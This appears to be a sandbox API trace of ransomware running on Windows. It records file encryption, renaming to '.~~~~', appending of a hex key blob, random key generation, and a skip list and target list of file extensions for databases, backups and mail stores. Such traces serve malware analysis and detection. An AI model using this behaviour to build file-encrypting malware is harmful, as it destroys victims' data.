	[0140.231] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x1f8fec0*=0x46df, lpOverlapped=0x0) returned 1
	[0140.234] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffb921, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.234] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x46df, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x46df, lpOverlapped=0x0) returned 1
	[0140.234] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0140.234] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.234] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.234] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.234] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.234] CloseHandle (hObject=0x114) returned 1
	[0140.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38e0a0
	[0140.235] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir12f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir12f.gif.~~~~")) returned 1
	[0140.237] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e0a0 | out: hHeap=0x300000) returned 1
	[0140.237] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0140.237] GetLastError () returned 0x0
	[0140.237] RtlWakeConditionVariable () returned 0x0
	[0140.237] GetCurrentThreadId () returned 0xaf0
	[0140.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".scr") returned 0x0
	[0140.237] lstrlenW (lpString=".cmd") returned 4
	[0140.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".cmd") returned 0x0
	[0140.237] lstrlenW (lpString=".dll") returned 4
	[0140.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".dll") returned 0x0
	[0140.238] lstrlenW (lpString=".bat") returned 4
	[0140.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".bat") returned 0x0
	[0140.238] lstrlenW (lpString=".cpl") returned 4
	[0140.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".cpl") returned 0x0
	[0140.238] lstrlenW (lpString=".sys") returned 4
	[0140.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".sys") returned 0x0
	[0140.238] lstrlenW (lpString=".msc") returned 4
	[0140.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".msc") returned 0x0
	[0140.238] lstrlenW (lpString=".com") returned 4
	[0140.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".com") returned 0x0
	[0140.238] lstrlenW (lpString=".lnk") returned 4
	[0140.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".lnk") returned 0x0
	[0140.238] lstrlenW (lpString=".msp") returned 4
	[0140.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".msp") returned 0x0
	[0140.238] lstrlenW (lpString=".pif") returned 4
	[0140.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".pif") returned 0x0
	[0140.238] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0140.238] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir13f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0140.241] lstrlenW (lpString=".sqb") returned 4
	[0140.241] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".sqb") returned 0x0
	[0140.241] lstrlenW (lpString=".ost") returned 4
	[0140.241] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".ost") returned 0x0
	[0140.241] lstrlenW (lpString=".txt") returned 4
	[0140.241] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".txt") returned 0x0
	[0140.241] lstrlenW (lpString=".mdt") returned 4
	[0140.241] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".mdt") returned 0x0
	[0140.241] lstrlenW (lpString=".BDB") returned 4
	[0140.241] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".BDB") returned 0x0
	[0140.241] lstrlenW (lpString=".eql") returned 4
	[0140.241] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".eql") returned 0x0
	[0140.241] lstrlenW (lpString=".DBF") returned 4
	[0140.241] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".DBF") returned 0x0
	[0140.241] lstrlenW (lpString=".EQL") returned 4
	[0140.241] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".EQL") returned 0x0
	[0140.241] lstrlenW (lpString=".FDB") returned 4
	[0140.242] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".FDB") returned 0x0
	[0140.242] lstrlenW (lpString=".EDB") returned 4
	[0140.242] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".EDB") returned 0x0
	[0140.242] lstrlenW (lpString=".DACPAC") returned 7
	[0140.242] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".DACPAC") returned 0x0
	[0140.242] lstrlenW (lpString=".VHD") returned 4
	[0140.242] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".VHD") returned 0x0
	[0140.242] lstrlenW (lpString=".DBV") returned 4
	[0140.242] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".DBV") returned 0x0
	[0140.242] lstrlenW (lpString=".dacpac") returned 7
	[0140.242] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".dacpac") returned 0x0
	[0140.242] lstrlenW (lpString=".sdf") returned 4
	[0140.242] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".sdf") returned 0x0
	[0140.242] lstrlenW (lpString=".accdb") returned 6
	[0140.242] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".accdb") returned 0x0
	[0140.242] lstrlenW (lpString=".DBX") returned 4
	[0140.242] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".DBX") returned 0x0
	[0140.242] lstrlenW (lpString=".MDT") returned 4
	[0140.242] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".MDT") returned 0x0
	[0140.242] lstrlenW (lpString=".SQB") returned 4
	[0140.242] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".SQB") returned 0x0
	[0140.242] lstrlenW (lpString=".vhd") returned 4
	[0140.242] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".vhd") returned 0x0
	[0140.242] lstrlenW (lpString=".bac") returned 4
	[0140.242] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".bac") returned 0x0
	[0140.242] lstrlenW (lpString=".mdf") returned 4
	[0140.243] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".mdf") returned 0x0
	[0140.243] lstrlenW (lpString=".BAK") returned 4
	[0140.243] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".BAK") returned 0x0
	[0140.243] lstrlenW (lpString=".BAC") returned 4
	[0140.243] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".BAC") returned 0x0
	[0140.243] lstrlenW (lpString=".dbs") returned 4
	[0140.243] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".dbs") returned 0x0
	[0140.243] lstrlenW (lpString=".vhdx") returned 5
	[0140.243] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".vhdx") returned 0x0
	[0140.243] lstrlenW (lpString=".NDF") returned 4
	[0140.243] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".NDF") returned 0x0
	[0140.243] lstrlenW (lpString=".dat") returned 4
	[0140.243] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".dat") returned 0x0
	[0140.243] lstrlenW (lpString=".DBS") returned 4
	[0140.243] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".DBS") returned 0x0
	[0140.243] lstrlenW (lpString=".CKP") returned 4
	[0140.243] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".CKP") returned 0x0
	[0140.243] lstrlenW (lpString=".edb") returned 4
	[0140.243] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".edb") returned 0x0
	[0140.243] lstrlenW (lpString=".PST") returned 4
	[0140.243] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".PST") returned 0x0
	[0140.243] lstrlenW (lpString=".dbf") returned 4
	[0140.243] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".dbf") returned 0x0
	[0140.243] lstrlenW (lpString=".SQL") returned 4
	[0140.243] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".SQL") returned 0x0
	[0140.243] lstrlenW (lpString=".pst") returned 4
	[0140.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".pst") returned 0x0
	[0140.244] lstrlenW (lpString=".dbv") returned 4
	[0140.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".dbv") returned 0x0
	[0140.244] lstrlenW (lpString=".SDF") returned 4
	[0140.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".SDF") returned 0x0
	[0140.244] lstrlenW (lpString=".dtxs") returned 5
	[0140.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".dtxs") returned 0x0
	[0140.244] lstrlenW (lpString=".db3") returned 4
	[0140.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".db3") returned 0x0
	[0140.244] lstrlenW (lpString=".OST") returned 4
	[0140.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".OST") returned 0x0
	[0140.244] lstrlenW (lpString=".dbx") returned 4
	[0140.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".dbx") returned 0x0
	[0140.244] lstrlenW (lpString=".DB3") returned 4
	[0140.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".DB3") returned 0x0
	[0140.244] lstrlenW (lpString=".DAT") returned 4
	[0140.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".DAT") returned 0x0
	[0140.244] lstrlenW (lpString=".VHDX") returned 5
	[0140.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".VHDX") returned 0x0
	[0140.244] lstrlenW (lpString=".ndf") returned 4
	[0140.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".ndf") returned 0x0
	[0140.244] lstrlenW (lpString=".DB") returned 3
	[0140.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".DB") returned 0x0
	[0140.244] lstrlenW (lpString=".sql") returned 4
	[0140.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".sql") returned 0x0
	[0140.244] lstrlenW (lpString=".MYD") returned 4
	[0140.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".MYD") returned 0x0
	[0140.245] lstrlenW (lpString=".DBT") returned 4
	[0140.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".DBT") returned 0x0
	[0140.245] lstrlenW (lpString=".ACCDB") returned 6
	[0140.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".ACCDB") returned 0x0
	[0140.245] lstrlenW (lpString=".fdb") returned 4
	[0140.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".fdb") returned 0x0
	[0140.245] lstrlenW (lpString=".bak") returned 4
	[0140.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".bak") returned 0x0
	[0140.245] lstrlenW (lpString=".myd") returned 4
	[0140.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".myd") returned 0x0
	[0140.245] lstrlenW (lpString=".DTXS") returned 5
	[0140.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".DTXS") returned 0x0
	[0140.245] lstrlenW (lpString=".ckp") returned 4
	[0140.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".ckp") returned 0x0
	[0140.245] lstrlenW (lpString=".dbt") returned 4
	[0140.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".dbt") returned 0x0
	[0140.245] lstrlenW (lpString=".db") returned 3
	[0140.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".db") returned 0x0
	[0140.245] lstrlenW (lpString=".TXT") returned 4
	[0140.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".TXT") returned 0x0
	[0140.245] lstrlenW (lpString=".MDF") returned 4
	[0140.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".MDF") returned 0x0
	[0140.245] lstrlenW (lpString=".bdb") returned 4
	[0140.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".bdb") returned 0x0
	[0140.245] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0140.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0140.246] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0140.247] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0140.247] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0140.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0140.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0140.247] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26023724086) returned 1
	[0140.247] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbd01c590, dwHighDateTime=0x1d60e1e)) 
	[0140.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0140.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0140.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0140.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e52d8
	[0140.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e52d8 | out: hHeap=0x300000) returned 1
	[0140.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38db60
	[0140.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0140.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38db60 | out: hHeap=0x300000) returned 1
	[0140.248] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0140.248] GetLastError () returned 0x0
	[0140.248] GetLastError () returned 0x0
	[0140.249] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0140.249] GetLastError () returned 0x0
	[0140.249] GetLastError () returned 0x0
	[0140.249] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x1f8fec0*=0x430d, lpOverlapped=0x0) returned 1
	[0140.393] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffbcf3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.393] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x430d, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x430d, lpOverlapped=0x0) returned 1
	[0140.393] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0140.393] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.393] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.393] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.393] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.394] CloseHandle (hObject=0x114) returned 1
	[0140.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ce620
	[0140.394] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir13f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir13f.gif.~~~~")) returned 1
	[0140.396] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce620 | out: hHeap=0x300000) returned 1
	[0140.396] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0140.396] GetLastError () returned 0x0
	[0140.396] RtlWakeConditionVariable () returned 0x0
	[0140.396] GetCurrentThreadId () returned 0xaf0
	[0140.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".scr") returned 0x0
	[0140.396] lstrlenW (lpString=".cmd") returned 4
	[0140.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".cmd") returned 0x0
	[0140.396] lstrlenW (lpString=".dll") returned 4
	[0140.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".dll") returned 0x0
	[0140.396] lstrlenW (lpString=".bat") returned 4
	[0140.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".bat") returned 0x0
	[0140.396] lstrlenW (lpString=".cpl") returned 4
	[0140.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".cpl") returned 0x0
	[0140.397] lstrlenW (lpString=".sys") returned 4
	[0140.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".sys") returned 0x0
	[0140.397] lstrlenW (lpString=".msc") returned 4
